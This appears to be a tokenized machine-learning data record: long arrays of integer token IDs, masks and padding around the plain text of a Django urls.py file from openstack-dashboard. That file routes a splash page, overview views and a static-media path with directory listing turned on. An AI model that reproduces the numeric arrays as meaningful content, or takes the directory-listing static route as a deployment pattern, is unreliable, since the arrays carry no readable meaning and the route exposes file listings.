283, 1014, 921, 4757, 14, 28930, 13, 1490, 14, 1308, 15, 87, 385, 15, 15431, 15, 614, 15, 28930, 13, 1840, 8854, 13, 87, 385, 13, 3569, 4416, 13, 261, 301, 400, 13, 17, 14, 16, 14, 10515, 358, 199, 3569, 324, 83, 275, 971, 272, 661, 3569, 85, 297, 1362, 283, 1014, 921, 4757, 14, 28930, 13, 1490, 14, 1308, 15, 87, 385, 15, 15431, 15, 614, 15, 28930, 13, 1840, 8854, 13, 87, 385, 13, 3569, 4416, 13, 16877, 13, 17, 14, 16, 14, 10515, 358, 199, 87, 2464, 67, 561, 275, 971, 272, 661, 87, 2464, 67, 297, 1362, 283, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8339, 15, 966, 15, 10198, 552, 67, 3, 358, 421, 199, 533, 13863, 8, 1692, 304, 272, 408, 272, 644, 51, 13, 7676, 909, 14, 272, 768, 7725, 4645, 26, 437, 769, 402, 6391, 4645, 272, 768, 466, 4645, 26, 359, 44, 91, 3264, 1386, 18737, 272, 768, 7725, 17597, 26, 437, 769, 402, 17597, 14, 272, 768, 466, 17597, 26, 377, 11156, 272, 768, 7725, 6941, 26, 437, 769, 402, 6941, 14, 272, 768, 466, 6941, 26, 377, 11156, 272, 768, 7725, 2883, 26, 437, 769, 402, 14396, 2883, 14, 272, 768, 466, 2883, 26, 377, 11156, 272, 408, 2286, 347, 636, 826, 721, 277, 304, 267, 408, 408, 267, 6935, 855, 826, 721, 277, 9, 267, 291, 14, 7790, 16001, 7935, 275, 715, 267, 291, 14, 4504, 275, 942, 267, 291, 14, 15132, 275, 942, 267, 291, 14, 12635, 275, 942, 267, 291, 14, 1612, 275, 942, 5493, 347, 2748, 8, 277, 304, 267, 408, 267, 2372, 2748, 6025, 402, 314, 909, 14, 267, 768, 1107, 26, 710, 1738, 1031, 14, 267, 768, 4500, 26, 491, 91, 2162, 93, 267, 408, 267, 1738, 275, 6566, 360, 7676, 297, 700, 29, 3569, 22891, 9, 267, 1738, 14, 409, 360, 7790, 16001, 7935, 297, 620, 8, 277, 14, 7790, 16001, 7935, 680, 2325, 1012, 267, 367, 307, 315, 291, 14, 4504, 26, 288, 1738, 14, 740, 8, 84, 14, 1652, 1012, 267, 372, 1738, 421, 199, 533, 8767, 8, 1692, 304, 272, 408, 473, 91, 8458, 93, 6391, 1526, 14, 408, 2286, 768, 3744, 272, 347, 3063, 8, 1886, 304, 267, 372, 2197, 14, 2131, 342, 2286, 768, 3744, 272, 347, 19314, 8, 1886, 304, 267, 372, 2197, 14, 10779, 342, 2286, 768, 3744, 272, 347, 984, 602, 8, 1886, 304, 267, 19314, 275, 12174, 342, 267, 372, 620, 8, 5834, 9, 2286, 347, 636, 826, 721, 277, 304, 288, 6935, 855, 826, 721, 277, 9, 421, 199, 533, 29739, 3264, 8, 3264, 304, 272, 408, 272, 21591, 282, 5678, 473, 91, 13355, 3264, 93, 644, 51, 13, 4933, 85, 723, 369, 1526, 14, 272, 768, 7725, 3434, 26, 437, 3434, 14, 272, 768, 466, 3434, 26, 620, 272, 768, 7725, 2505, 26, 437, 2505, 14, 272, 768, 466, 2505, 26, 620, 272, 768, 7725, 13711, 26, 437, 663, 402, 2783, 370, 7981, 9351, 28140, 14, 272, 768, 466, 13711, 26, 620, 272, 768, 7725, 2737, 26, 710, 1526, 2737, 14, 272, 768, 466, 2737, 26, 491, 91, 2083, 93, 272, 408, 339, 347, 636, 826, 721, 277, 12, 3434, 29, 403, 12, 2505, 29, 403, 304, 267, 408, 267, 768, 635, 3434, 26, 437, 3434, 14, 267, 768, 466, 3434, 26, 620, 267, 768, 635, 2505, 26, 437, 2505, 14, 267, 768, 466, 2505, 26, 620, 267, 408, 267, 8767, 855, 826, 721, 277, 9, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 267, 291, 14, 10667, 275, 488, 267, 291, 14, 3966, 275, 488, 5493, 347, 663, 10667, 8, 277, 12, 1318, 29, 403, 304, 267, 408, 267, 2494, 473, 91, 10667, 93, 1314, 365, 601, 2075, 17565, 89, 663, 402, 2783, 370, 7981, 267, 9351, 28140, 14, 267, 768, 635, 1318, 26, 710, 13711, 1318, 574, 14, 288, 17065, 1380, 473, 91, 403, 5565, 267, 768, 466, 1318, 26, 620, 267, 408, 267, 340, 1318, 365, 488, 26, 288, 308, 275, 942, 288, 308, 14, 740, 8, 277, 14, 2473, 9, 288, 308, 14 ]
[ 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 334, 44, 12006, 9, 1664, 6401, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 402, 314, 221, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 11243, 6401, 1696, 1684, 844, 367, 1655, 2436, 737, 199, 3, 334, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 14, 1360, 7092, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8155, 15630, 10902, 446, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 3, 5313, 701, 26, 1603, 3609, 4236, 14146, 334, 1335, 269, 14146, 32, 17164, 14, 957, 776, 199, 199, 624, 199, 1918, 473, 91, 3569, 261, 93, 859, 6571, 644, 51, 13, 7676, 14, 199, 624, 199, 199, 504, 2050, 492, 28138, 199, 504, 30713, 492, 627, 199, 504, 30713, 14, 9648, 795, 785, 492, 6935, 199, 504, 30713, 14, 14338, 14, 2108, 492, 6566, 199, 504, 30713, 14, 14338, 14, 602, 492, 12174, 199, 504, 2197, 492, 2197, 12, 6871, 199, 199, 893, 26, 272, 687, 8337, 492, 6128, 21, 199, 2590, 3545, 26, 272, 327, 2018, 499, 14, 20, 7163, 272, 687, 6128, 21, 492, 6128, 21, 421, 199, 795, 561, 275, 971, 272, 661, 795, 297, 1362, 283, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8269, 15, 1643, 15, 1652, 68, 4093, 3, 358, 199, 3569, 22891, 275, 971, 272, 661, 3569, 261, 297, 221, 1362, 283, 1014, 921, 4757, 14, 28930, 13, 1490, 14, 1308, 15, 87, 385, 15, 15431, 15, 614, 15, 28930, 13, 1840, 8854, 13, 87, 385, 13, 3569, 4416, 13, 261, 301, 400, 13, 17, 14, 16, 14, 10515, 358, 199, 3569, 324, 83, 275, 971, 272, 661, 3569, 85, 297, 1362, 283, 1014, 921, 4757, 14, 28930, 13, 1490, 14, 1308, 15, 87, 385, 15, 15431, 15, 614, 15, 28930, 13, 1840, 8854, 13, 87, 385, 13, 3569, 4416, 13, 16877, 13, 17, 14, 16, 14, 10515, 358, 199, 87, 2464, 67, 561, 275, 971, 272, 661, 87, 2464, 67, 297, 1362, 283, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8339, 15, 966, 15, 10198, 552, 67, 3, 358, 421, 199, 533, 13863, 8, 1692, 304, 272, 408, 272, 644, 51, 13, 7676, 909, 14, 272, 768, 7725, 4645, 26, 437, 769, 402, 6391, 4645, 272, 768, 466, 4645, 26, 359, 44, 91, 3264, 1386, 18737, 272, 768, 7725, 17597, 26, 437, 769, 402, 17597, 14, 272, 768, 466, 17597, 26, 377, 11156, 272, 768, 7725, 6941, 26, 437, 769, 402, 6941, 14, 272, 768, 466, 6941, 26, 377, 11156, 272, 768, 7725, 2883, 26, 437, 769, 402, 14396, 2883, 14, 272, 768, 466, 2883, 26, 377, 11156, 272, 408, 2286, 347, 636, 826, 721, 277, 304, 267, 408, 408, 267, 6935, 855, 826, 721, 277, 9, 267, 291, 14, 7790, 16001, 7935, 275, 715, 267, 291, 14, 4504, 275, 942, 267, 291, 14, 15132, 275, 942, 267, 291, 14, 12635, 275, 942, 267, 291, 14, 1612, 275, 942, 5493, 347, 2748, 8, 277, 304, 267, 408, 267, 2372, 2748, 6025, 402, 314, 909, 14, 267, 768, 1107, 26, 710, 1738, 1031, 14, 267, 768, 4500, 26, 491, 91, 2162, 93, 267, 408, 267, 1738, 275, 6566, 360, 7676, 297, 700, 29, 3569, 22891, 9, 267, 1738, 14, 409, 360, 7790, 16001, 7935, 297, 620, 8, 277, 14, 7790, 16001, 7935, 680, 2325, 1012, 267, 367, 307, 315, 291, 14, 4504, 26, 288, 1738, 14, 740, 8, 84, 14, 1652, 1012, 267, 372, 1738, 421, 199, 533, 8767, 8, 1692, 304, 272, 408, 473, 91, 8458, 93, 6391, 1526, 14, 408, 2286, 768, 3744, 272, 347, 3063, 8, 1886, 304, 267, 372, 2197, 14, 2131, 342, 2286, 768, 3744, 272, 347, 19314, 8, 1886, 304, 267, 372, 2197, 14, 10779, 342, 2286, 768, 3744, 272, 347, 984, 602, 8, 1886, 304, 267, 19314, 275, 12174, 342, 267, 372, 620, 8, 5834, 9, 2286, 347, 636, 826, 721, 277, 304, 288, 6935, 855, 826, 721, 277, 9, 421, 199, 533, 29739, 3264, 8, 3264, 304, 272, 408, 272, 21591, 282, 5678, 473, 91, 13355, 3264, 93, 644, 51, 13, 4933, 85, 723, 369, 1526, 14, 272, 768, 7725, 3434, 26, 437, 3434, 14, 272, 768, 466, 3434, 26, 620, 272, 768, 7725, 2505, 26, 437, 2505, 14, 272, 768, 466, 2505, 26, 620, 272, 768, 7725, 13711, 26, 437, 663, 402, 2783, 370, 7981, 9351, 28140, 14, 272, 768, 466, 13711, 26, 620, 272, 768, 7725, 2737, 26, 710, 1526, 2737, 14, 272, 768, 466, 2737, 26, 491, 91, 2083, 93, 272, 408, 339, 347, 636, 826, 721, 277, 12, 3434, 29, 403, 12, 2505, 29, 403, 304, 267, 408, 267, 768, 635, 3434, 26, 437, 3434, 14, 267, 768, 466, 3434, 26, 620, 267, 768, 635, 2505, 26, 437, 2505, 14, 267, 768, 466, 2505, 26, 620, 267, 408, 267, 8767, 855, 826, 721, 277, 9, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 267, 291, 14, 10667, 275, 488, 267, 291, 14, 3966, 275, 488, 5493, 347, 663, 10667, 8, 277, 12, 1318, 29, 403, 304, 267, 408, 267, 2494, 473, 91, 10667, 93, 1314, 365, 601, 2075, 17565, 89, 663, 402, 2783, 370, 7981, 267, 9351, 28140, 14, 267, 768, 635, 1318, 26, 710, 13711, 1318, 574, 14, 288, 17065, 1380, 473, 91, 403, 5565, 267, 768, 466, 1318, 26, 620, 267, 408, 267, 340, 1318, 365, 488, 26, 288, 308, 275, 942, 288, 308, 14, 740, 8, 277, 14, 2473, 9, 288, 308, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
BillTheBest/openstack-dashboard
openstack-dashboard/dashboard/urls.py
3
1686
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2011 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2011 Fourth Paradigm Development, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ URL patterns for the OpenStack Dashboard. """ from django.conf.urls.defaults import * from django.conf import settings from django.views import generic as generic_views import django.views.i18n from django_openstack import urls as django_openstack_urls urlpatterns = patterns('', url(r'^$', 'dashboard.views.splash', name='splash'), url(r'^dash/$', 'django_openstack.dash.views.instances.usage', name='dash_overview'), url(r'^syspanel/$', 'django_openstack.syspanel.views.instances.usage', name='syspanel_overview'), ) # NOTE(termie): just append them since we want the routes at the root urlpatterns += django_openstack_urls.urlpatterns urlpatterns += patterns('', (r'^%s(?P<path>.*)$' % settings.MEDIA_URL[1:], 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}), )
apache-2.0
[ 3, 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 7760, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 1898, 7760, 23843, 273, 2235, 65, 328, 13844, 15290, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 199, 2632, 7970, 367, 314, 14260, 577, 1119, 3576, 14, 199, 624, 199, 199, 504, 1639, 14, 2190, 14, 3603, 14, 4322, 492, 627, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 4196, 492, 7809, 465, 7809, 63, 4196, 199, 646, 1639, 14, 4196, 14, 73, 1085, 78, 199, 199, 504, 1639, 63, 8512, 492, 8187, 465, 1639, 63, 8512, 63, 3603, 421, 199, 20050, 275, 7970, 8594, 272, 1166, 8, 82, 4289, 4268, 283, 9743, 14, 4196, 14, 15276, 1119, 297, 536, 534, 15276, 1119, 659, 272, 1166, 8, 82, 4289, 6760, 10884, 283, 1176, 63, 8512, 14, 6760, 14, 4196, 14, 5990, 14, 3807, 297, 536, 534, 6760, 63, 21753, 659, 272, 1166, 8, 82, 4289, 1274, 7885, 10884, 283, 1176, 63, 8512, 14, 1274, 7885, 14, 4196, 14, 5990, 14, 3807, 297, 536, 534, 1274, 7885, 63, 21753, 659, 199, 9, 421, 199, 3, 6944, 8, 5125, 1873, 304, 2951, 5666, 3062, 3967, 781, 2934, 314, 15777, 737, 314, 1738, 199, 20050, 847, 1639, 63, 8512, 63, 3603, 14, 20050, 421, 199, 20050, 847, 7970, 8594, 1362, 334, 82, 4289, 5, 83, 2229, 48, 28, 515, 26343, 12913, 450, 2202, 14, 13669, 63, 2632, 59, 17, 8429, 489, 283, 1176, 14, 4196, 14, 1986, 14, 4909, 297, 489, 791, 3554, 63, 1231, 356, 2202, 14, 13669, 63, 5441, 12, 2126, 283, 2384, 63, 10116, 356, 715, 8688, 199, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 7760, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 1898, 7760, 23843, 273, 2235, 65, 328, 13844, 15290, 12, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 199, 2632, 7970, 367, 314, 14260, 577, 1119, 3576, 14, 199, 624, 199, 199, 504, 1639, 14, 2190, 14, 3603, 14, 4322, 492, 627, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 4196, 492, 7809, 465, 7809, 63, 4196, 199, 646, 1639, 14, 4196, 14, 73, 1085, 78, 199, 199, 504, 1639, 63, 8512, 492, 8187, 465, 1639, 63, 8512, 63, 3603, 421, 199, 20050, 275, 7970, 8594, 272, 1166, 8, 82, 4289, 4268, 283, 9743, 14, 4196, 14, 15276, 1119, 297, 536, 534, 15276, 1119, 659, 272, 1166, 8, 82, 4289, 6760, 10884, 283, 1176, 63, 8512, 14, 6760, 14, 4196, 14, 5990, 14, 3807, 297, 536, 534, 6760, 63, 21753, 659, 272, 1166, 8, 82, 4289, 1274, 7885, 10884, 283, 1176, 63, 8512, 14, 1274, 7885, 14, 4196, 14, 5990, 14, 3807, 297, 536, 534, 1274, 7885, 63, 21753, 659, 199, 9, 421, 199, 3, 6944, 8, 5125, 1873, 304, 2951, 5666, 3062, 3967, 781, 2934, 314, 15777, 737, 314, 1738, 199, 20050, 847, 1639, 63, 8512, 63, 3603, 14, 20050, 421, 199, 20050, 847, 7970, 8594, 1362, 334, 82, 4289, 5, 83, 2229, 48, 28, 515, 26343, 12913, 450, 2202, 14, 13669, 63, 2632, 59, 17, 8429, 489, 283, 1176, 14, 4196, 14, 1986, 14, 4909, 297, 489, 791, 3554, 63, 1231, 356, 2202, 14, 13669, 63, 5441, 12, 2126, 283, 2384, 63, 10116, 356, 715, 8688, 199, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 